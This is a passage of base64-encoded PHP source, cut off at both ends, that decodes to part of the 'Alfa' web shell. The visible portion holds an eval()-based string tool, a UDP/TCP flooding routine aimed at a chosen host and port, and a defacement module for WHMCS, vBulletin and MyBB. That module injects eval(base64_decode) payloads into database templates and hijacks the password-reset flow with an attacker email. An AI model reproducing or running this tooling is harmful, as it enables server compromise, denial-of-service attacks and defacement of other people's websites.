zdHJyZXYoJHMpJywgICdiaW4yaGV4ICggJHN0cmluZyApJyA9PiAnYmluMmhleCgkcyknLCAgJ2hleDJiaW4gKCAkc3RyaW5nICknID0+ICdoZXgyYmluKCRzKScsICAnbWQ1ICggJHN0cmluZyApJyA9PiAnbWQ1KCRzKScsICAnc2hhMSAoICRzdHJpbmcgKScgPT4gJ3NoYTEoJHMpJywgICdoYXNoICggInNoYTI1MSIsICRzdHJpbmcgKSAtLT4gc2hhMjUxJyA9PiAnaGFzaCgic2hhMjU2IiwkcyknLCAgJ2hhc2ggKCAic2hhMzg0IiwgJHN0cmluZyApIC0tPiBzaGEzODQnID0+ICdoYXNoKCJzaGEzODQiLCRzKScsICAnaGFzaCAoICJzaGE1MTIiLCAkc3RyaW5nICkgLS0+IHNoYTUxMicgPT4gJ2hhc2goInNoYTUxMiIsJHMpJywgICdjcnlwdCAoICRzdHJpbmcgKScgPT4gJ2NyeXB0KCRzKScsICAnY3JjMzIgKCAkc3RyaW5nICknID0+ICdjcmMzMigkcyknLCAgJ3N0cl9yb3QxMyAoICRzdHJpbmcgKScgPT4gJ3N0cl9yb3QxMygkcyknLCAgJ3VybGVuY29kZSAoICRzdHJpbmcgKScgPT4gJ3VybGVuY29kZSgkcyknLCAgJ3VybGRlY29kZSAgKCAkc3RyaW5nICknID0+ICd1cmxkZWNvZGUoJHMpJywgICdmdWxsX3VybGVuY29kZSAgKCAkc3RyaW5nICknID0+ICdmdWxsX3VybGVuY29kZSgkcyknLCAgJ2h0bWxzcGVjaWFsY2hhcnMgICggJHN0cmluZyApJyA9PiAnaHRtbHNwZWNpYWxjaGFycygkcyknLCAgJ2Jhc2U2NF9lbmNvZGUgKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSAtLT4gRW5jb2RlJyA9PiAnX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcywgOSkpJywgICdnemluZmxhdGUgKGJhc2U2NF9kZWNvZGUoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ0BnemluZmxhdGUoX19aR1ZqYjJSbGNnKCRzKSknLCAgJ3N0cl9yb3QxMyAoYmFzZTY0X2VuY29kZSggJHN0cmluZyApKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZygkcykpJywgICdiYXNlNjRfZGVjb2RlIChzdHJfcm90MTMoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ19fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKScsICAnc3RyX3JvdDEzIChiYXNlNjRfZW5jb2RlKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSkgLS0+IEVuY29kZScgPT4gJ3N0cl9yb3QxMyhfX1pXNWpiMlJsY2coZ3pkZWZsYXRlKCRzLDkpKSknLCAgJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZShzdHJfcm90MTMoICRzdHJpbmcgKSkpIC0tPiBEZWNvZGUnID0+ICdAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKSknLCAgKTsgIGFsZmFoZWFkKCk7ICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOyAgZWNobyAiPGZvcm0gb25TdWJtaXQ9J2coXCJoYXNoXCIsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+TWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnIHN0eWxlPSd3aWR0aDo0MDBweDsnPiI7ICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIicgIi4oJF9QT1NUWydhbGZhMSddPT0kdj8nc2VsZWN0ZWQnOicnKS4iPiIuJGsuIjwvb3B0aW9uPiI7ICBlY2hvICI8L3NlbGVjdD4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnLz48YnI+PHRleHRhcmVhICBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz0nYmlnYXJlYSc+Ii4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2FsZmEyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsgIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsgICRzdHJpbmcgPSBhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSk7ICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoJ1wiJywnIicsJHN0cmluZyk7ICAkYWxnID0gJF9QT1NUWydhbGZhMSddOyAgJGNvZGUgPSBzdHJfcmVwbGFjZSgnJHMnLCInIi4kc3RyaW5nLiInIiwkYWxnKTsgIG9iX3N0YXJ0KCk7ICBldmFsKCdlY2hvICcuJGNvZGUuJzsnKTsgICRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsgIG9iX2VuZF9jbGVhbigpOyAgaWYoaW5fYXJyYXkoJGFsZywgJHN0cmluZ1Rvb2xzKSllY2hvICc8dGV4dGFyZWEgY2xhc3M9ImJpZ2FyZWEiIGlkPSJQaHBDb2RlIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHJlcykuJzwvdGV4dGFyZWE+JzsgIH0gIGVjaG8gIjwvZGl2PiI7ICBhbGZhRm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhZG9zKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsgIGVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRE9TIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdkb3NcJyxudWxsLHRoaXMuaG9zdC52YWx1ZSx0aGlzLnRpbWUudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMubS52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPk1ldGhvZCA6IDxzZWxlY3QgbmFtZT0ibSIgc3R5bGU9IndpZHRoOjgwcHg7Ij48b3B0aW9uIHZhbHVlPSJ1ZHAiPlVEUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRjcCI+VENQPC9vcHRpb24+PC9zZWxlY3Q+IEhvc3QgOiA8aW5wdXQgbmFtZT0iaG9zdCIgdHlwZT0idGV4dCIgdmFsdWU9ImxvY2FsaG9zdCIgc2l6ZT0iMjUiIC8+IFRpbWUgOiA8aW5wdXQgbmFtZT0idGltZSIgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIC8+IFBvcnQgOiA8aW5wdXQgbmFtZT0icG9ydCIgdHlwZT0idGV4dCIgc2l6ZT0iMTAiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiAvPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsgIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsgIGVjaG8gX19wcmUoKTsgICRwYWNrZXRzPTA7ICBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsgICRleGVjX3RpbWU9KGludCkkX1BPU1RbJ2FsZmEyJ107ICAkdGltZT10aW1lKCk7ICAkbWF4X3RpbWU9JGV4ZWNfdGltZSskdGltZTsgICRob3N0PSRfUE9TVFsnYWxmYTEnXTsgICRwb3J0PShpbnQpJF9QT1NUWydhbGZhMyddOyAgJG1ldGhvZD0kX1BPU1RbJ2FsZmE0J107ICAkb3V0ID0gc3RyX3JlcGVhdCgnWCcsNjUwMDApOyAgd2hpbGUoMSl7ICAkcGFja2V0cysrOyAgaWYodGltZSgpID4gJG1heF90aW1lKXsgIGJyZWFrOyAgfSAgJGZwID0gQGZzb2Nrb3BlbigkbWV0aG9kLic6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsgIGlmKCRmcCl7ICBmd3JpdGUoJGZwLCAkb3V0KTsgIGZjbG9zZSgkZnApOyAgfSAgfSAgZWNobyAiPGNlbnRlcj4kcGFja2V0cyAoIiAuIEByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gQHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQ8L2NlbnRlcj4iOyAgZWNobyAiPC9wcmU+IjsgIH0gIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBfX3ByZSgpe3JldHVybignPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPicpO30gIGZ1bmN0aW9uIGFsZmFJbmRleENoYW5nZXIoKXsgIGFsZmFoZWFkKCk7ICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5kZXggQ2hhbmdlciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxudWxsLG51bGwsXCd3aG1jc1wnKSI+fCBXaG1jcyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxcJ3ZiXCcsbnVsbCkiPnwgdkJ1bGxldGluIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLG51bGwsXCdteWJiXCcpIj58IE15QkIgfCA8L2E+PC9oMz48L2NlbnRlcj4nOyAgaWYoaXNzZXQoJF9QT1NUWydhbGZhMyddKSYmKCRfUE9TVFsnYWxmYTMnXSA9PSAnd2htY3MnKSl7ICBlY2hvIF9fcHJlKCk7CSAgICBlY2hvICI8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV2htY3MgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsbnVsbCxudWxsLCd3aG1jcycsdGhpcy5mbmFtZS52YWx1ZSx0aGlzLnBhdGgudmFsdWUsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5pbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4KIjsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVVJMJywgJ2lucHV0TmFtZScgPT4gJ3BhdGgnLCAnaW5wdXRWYWx1ZScgPT4gJ2h0dHA6Ly9zaXRlLmNvbS93aG1jcycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDMnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0ZpbGUgTmFtZScsICdpbnB1dE5hbWUnID0+ICdmbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ1JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2RidScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDYnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPWluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnPjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxicj4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpeyAgJHMwbGV2aXNpYmxlPSJQb3dlcmVkIEJ5IFNvbGV2aXNpYmxlIjsgICRkYnUgPSAkX1BPU1RbJ2FsZmE2J107ICAkcGF0aCA9ICRfUE9TVFsnYWxmYTUnXTsgICRmbmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsgICRkYm4gPSAkX1BPU1RbJ2FsZmE3J107ICAkZGJwID0gJF9QT1NUWydhbGZhOCddOyAgJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsgICRpbmRleCA9ICRfUE9TVFsnYWxmYTEwJ107ICAkaW5kZXggPSBzdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyAgJGRlZmFjZSA9ICckeCA9IGJhc2U2NF9kZWNvZGUoIicuX19aVzVqYjJSbGNnKCRpbmRleCkuJyIpOyAkc29sZXZpc2libGUgPSBmb3BlbigiJy4kZm5hbWUuJyIsInciKTsgZndyaXRlKCRzb2xldmlzaWJsZSwkeCk7JzsgICRzYXZlRGF0YSA9IF9fWlc1amIyUmxjZygkZGVmYWNlKTsgICREZWYgPSAne3BocH1ldmFsKGJhc2U2NF9kZWNvZGUoIicuJHNhdmVEYXRhLiciKSk7ey9waHB9JzsgIGlmKCFlbXB0eSgkZGJoKSYmIWVtcHR5KCRkYnUpJiYhZW1wdHkoJGRibikmJiFlbXB0eSgkaW5kZXgpKXsgICRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7ICAkc29sZVNhdmU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZW5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIik7ICAkc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOyAgJHRlbXBTYXZlMSA9ICRzb2xlR2V0WydtZXNzYWdlJ107ICAkdGVtcFNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkdGVtcFNhdmUxKTsgICRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckRGVmJyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7ICAkcmVzdWx0PUBteXNxbGlfcXVlcnkoJGNvbm4sJGluamVjdCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsgICRjcmVhdGUgPSAiaW5zZXJ0IGludG8gdGJsY2xpZW50cyAoZW1haWwpIHZhbHVlcygnZHIuaW5qZWN0aW9uaUBob3RtYWlsLmNvbScpIjsgICRyZXN1bHQyID1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7ICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKXsgICRBbGZhU29sZSA9IG5ldyBBbGZhQ1VSTCh0cnVlKTsgICRzYXZldXJsID0gJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsgICRnZXRUb2tlbiA9IHByZWdfbWF0Y2goIi9uYW1lPVwidG9rZW5cIiB2YWx1ZT1cIiguKj8pXCIvaSIsJHNhdmV1cmwsJHRva2VuKTsgICRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwicG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1kci5pbmplY3Rpb25pQGhvdG1haWwuY29tIik7ICAkYmFja2RhdGEgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSd7JHRlbXBTYXZlfScgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOyAgJFNvbGV2aXNpYmxlID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRiYWNrZGF0YSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsgIF9fYWxlcnQoJ0ZpbGUgQ3JlYXRlZC4uLicpOyAgZWNobyAiPGJyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyIuJHBhdGguIi8iLiRmbmFtZS4iJz5DbGljayBIZXJlICE8L2E+PC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPiI7ICB9ZWxzZXsgIGVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGxlYXNlIGdvIHRvIFRhcmdldCA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPlwiICIuJHBhdGguIi9wd3Jlc2V0LnBocCBcIjwvZm9udD48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPiBhbmQgcmVzZXQgcGFzc3dvcmQgd2l0aCBlbWFpbDwvZm9udD4gPT4gPGZvbnQgY29sb3I9cmVkPmRyLmluamVjdGlvbmlAaG90bWFpbC5jb208L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOyAgfX19fSAgaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSAmJiAoJF9QT1NUWydhbGZhMSddID09ICd2YicpKXsgIGVjaG8gX19wcmUoKTsgICAgZWNobyAiPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IHZCdWxsZXRpbiB8PC9kaXY+CjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCd2YicpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCwndmInLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMuaW5kZXgudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIj4KIjsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQzJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2RidScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDQnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDUnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7ICBpZigkX1BPU1RbJ2FsZmE4J109PSc+PicpeyAgJHMwbGV2aXNpYmxlPSJQb3dlcmVkIEJ5IFNvbGV2aXNpYmxlIjsgICRkYnUgPSAkX1BPU1RbJ2FsZmEyJ107ICAkZGJuID0gJF9QT1NUWydhbGZhMyddOyAgJGRicCA9ICRfUE9TVFsnYWxmYTQnXTsgICRkYmggPSAkX1BPU1RbJ2FsZmE1J107ICAkaW5kZXggPSAkX1BPU1RbJ2FsZmE2J107ICAkcHJlZml4ID0gJF9QT1NUWydhbGZhNyddOyAgJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7ICAkc2V0X2luZGV4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyAgJHNldF9pbmRleCAuPSBfX1pXNWpiMlJsY2coImVjaG8gXCIkaW5kZXhcIjsiKTsgICRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fSI7ICBpZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7ICAkY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJGxvbGkxID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsgICRsb2xpMiA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicgV0hFUkUgdGl0bGU9J0ZPUlVNSE9NRSciOyAgJGxvbGkzID0gIlVQREFURSAiLiRwcmVmaXguInN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicsIHN0eWxldmFycz0nJywgY3NzY29sb3JzPScnLCBlZGl0b3JzdHlsZXM9JyciOyAgQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7ICBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMikgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsgIEBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkzKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOyAgX19hbGVydCgnVkIgaW5kZXggY2hhbmdlZC4uLiEnKTsgIH0gIH0gIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnbXliYicpKSB7ICBlY2hvIF9fcHJlKCk7ICAgIGVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeWJiIHw8L2Rpdj4KPHA+PGNlbnRlcj4iLmdldENvbmZpZ0h0bWwoJ215YmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ251bGwnLCdteWJiJyxudWxsLG51bGwsbnVsbCx0aGlzLm15YmJkYmgudmFsdWUsdGhpcy5teWJiZGJ1LnZhbHVlLHRoaXMubXliYmRibi52YWx1ZSx0aGlzLm15YmJkYnAudmFsdWUsdGhpcy5teWJiaW5kZXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1QgYWN0aW9uPScnPgoiOyAgJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdteWJiZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMicgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdteWJiZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMycgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdteWJiZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdteWJiZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPW15YmJpbmRleCByb3dzPScxOScgY29scz0nMTAzJz4KPHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JycgPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpeyAgJG15